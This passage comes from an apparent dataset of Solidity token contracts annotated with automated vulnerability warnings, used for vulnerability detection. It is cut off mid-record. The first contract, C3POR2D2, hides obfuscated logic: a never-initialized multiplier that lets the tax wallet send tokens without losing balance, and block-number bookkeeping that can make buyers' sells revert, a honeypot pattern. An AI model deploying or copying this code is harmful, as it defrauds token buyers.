msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract C3POR2D2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d01d7d): C3POR2D2._initialBuyTax should be constant \n\t// Recommendation for 0d01d7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: b707fe4): C3POR2D2._initialSellTax should be constant \n\t// Recommendation for b707fe4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77b107b): C3POR2D2._finalBuyTax should be constant \n\t// Recommendation for 77b107b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18cd779): C3POR2D2._finalSellTax should be constant \n\t// Recommendation for 18cd779: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfc3c32): C3POR2D2._reduceBuyTaxAt should be constant \n\t// Recommendation for dfc3c32: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3af2e1): C3POR2D2._reduceSellTaxAt should be constant \n\t// Recommendation for a3af2e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d47323): C3POR2D2._preventSwapBefore should be constant \n\t// Recommendation for 3d47323: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 13;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon`s Personal Robot\";\n\n string private constant _symbol = unicode\"C3POR2D2\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 961ab18): C3POR2D2._taxSwapThreshold should be constant \n\t// Recommendation for 961ab18: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32e6b4e): C3POR2D2._maxTaxSwap should be constant \n\t// Recommendation for 32e6b4e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 73c7d98): C3POR2D2._taxWallet should be immutable \n\t// Recommendation for 73c7d98: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n IUniswapV2Router02 private constant _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n struct AggregationInfo {\n uint256 singleSwap;\n uint256 multiSwap;\n uint256 aggregationCount;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: e781cd6): C3POR2D2.aggrCountExile should be constant \n\t// Recommendation for e781cd6: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 8dcd60a): C3POR2D2.aggrCountExile is never initialized. It is used in C3POR2D2._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 8dcd60a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private aggrCountExile;\n\n uint256 private aggrTokenTotal;\n\n mapping(address => AggregationInfo) private aggregationInfo;\n\n address private _uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xE7Fccc1Ef9Ee45270323854dc6D03981F3494A7f);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd57256): C3POR2D2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd57256: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bf2c8f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bf2c8f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 07161f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 07161f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bf2c8f3\n\t\t// reentrancy-benign | ID: 07161f8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bf2c8f3\n\t\t// reentrancy-benign | ID: 07161f8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ebcad9): C3POR2D2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ebcad9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 07161f8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bf2c8f3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5e88cc2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5e88cc2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7995877): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7995877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1c6e326): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1c6e326: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniswapV2Pair &&\n to != address(_uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 5e88cc2\n\t\t\t\t// reentrancy-benign | ID: 7995877\n\t\t\t\t// reentrancy-eth | ID: 1c6e326\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5e88cc2\n\t\t\t\t\t// reentrancy-eth | ID: 1c6e326\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 7995877\n aggrTokenTotal = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != _uniswapV2Pair) {\n AggregationInfo storage aggrInfo = aggregationInfo[to];\n\n if (from == _uniswapV2Pair) {\n if (aggrInfo.singleSwap == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 7995877\n aggrInfo.singleSwap = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n AggregationInfo storage aggrMult = aggregationInfo[from];\n\n if (\n aggrInfo.singleSwap == 0 ||\n aggrMult.singleSwap < aggrInfo.singleSwap\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 7995877\n aggrInfo.singleSwap = aggrMult.singleSwap;\n }\n }\n } else {\n AggregationInfo storage aggrMult = aggregationInfo[from];\n\n\t\t\t\t// reentrancy-benign | ID: 7995877\n aggrMult.multiSwap = aggrMult.singleSwap.sub(aggrTokenTotal);\n\n\t\t\t\t// reentrancy-benign | ID: 7995877\n aggrMult.aggregationCount = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 5e88cc2\n\t\t// reentrancy-eth | ID: 1c6e326\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 8dcd60a): C3POR2D2.aggrCountExile is never initialized. It is used in C3POR2D2._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 8dcd60a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : aggrCountExile.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1c6e326\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5e88cc2\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 1c6e326\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 1c6e326\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 5e88cc2\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bf2c8f3\n\t\t// reentrancy-events | ID: 5e88cc2\n\t\t// reentrancy-benign | ID: 07161f8\n\t\t// reentrancy-benign | ID: 7995877\n\t\t// reentrancy-eth | ID: 1c6e326\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bf2c8f3\n\t\t// reentrancy-events | ID: 5e88cc2\n\t\t// reentrancy-eth | ID: 1c6e326\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3291eaa): C3POR2D2.enableTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3291eaa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 357b072): C3POR2D2.enableTrading() ignores return value by IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 357b072: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 37a65e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 37a65e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 37a65e1\n _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// unused-return | ID: 3291eaa\n\t\t// reentrancy-eth | ID: 37a65e1\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 357b072\n\t\t// reentrancy-eth | ID: 37a65e1\n IERC20(_uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint).max\n );\n\n\t\t// reentrancy-eth | ID: 37a65e1\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10564.sol",
"size_bytes": 22645,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6faf1a6): ABE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 6faf1a6: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 786891b): ABE.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 786891b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3dc2c46): ABE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 3dc2c46: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3127f60): ABE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 3127f60: Consider ordering multiplication before division.\ncontract ABE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe766fe): ABE._taxWallet should be immutable \n\t// Recommendation for fe766fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2607192): ABE._initialBuyTax should be constant \n\t// Recommendation for 2607192: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: bfae39e): ABE._initialSellTax should be constant \n\t// Recommendation for bfae39e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8cb98b7): ABE._finalBuyTax should be constant \n\t// Recommendation for 8cb98b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ca1bd9): ABE._finalSellTax should be constant \n\t// Recommendation for 4ca1bd9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48c2a2e): ABE._reduceBuyTaxAt should be constant \n\t// Recommendation for 48c2a2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: bccd9f2): ABE._reduceSellTaxAt should be constant \n\t// Recommendation for bccd9f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 422af20): ABE._preventSwapBefore should be constant \n\t// Recommendation for 422af20: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b3f63a): ABE._transferTax should be constant \n\t// Recommendation for 0b3f63a: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 345_618_582 * 10 ** _decimals;\n\n string private constant _name = unicode\"ABE\";\n\n string private constant _symbol = unicode\"ABE\";\n\n\t// divide-before-multiply | ID: 6faf1a6\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 3127f60\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 80c5539): ABE._taxSwapThreshold should be constant \n\t// Recommendation for 80c5539: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 786891b\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: f3bc00a): ABE._maxTaxSwap should be constant \n\t// Recommendation for f3bc00a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3dc2c46\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6d2115a): ABE.uniswapV2Router should be immutable \n\t// Recommendation for 6d2115a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5e646a): ABE.uniswapV2Pair should be immutable \n\t// Recommendation for d5e646a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1da2b0): ABE.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a1da2b0: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x7f81AF9602e700676cE7009Ec7BBC6705C22a700);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: a1da2b0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 63d0499): ABE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 63d0499: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b8a03b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b8a03b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b07765f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b07765f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9b8a03b\n\t\t// reentrancy-benign | ID: b07765f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9b8a03b\n\t\t// reentrancy-benign | ID: b07765f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 724ae95): ABE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 724ae95: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b07765f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9b8a03b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6acf81): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6acf81: Apply the check-effects-interactions pattern (see 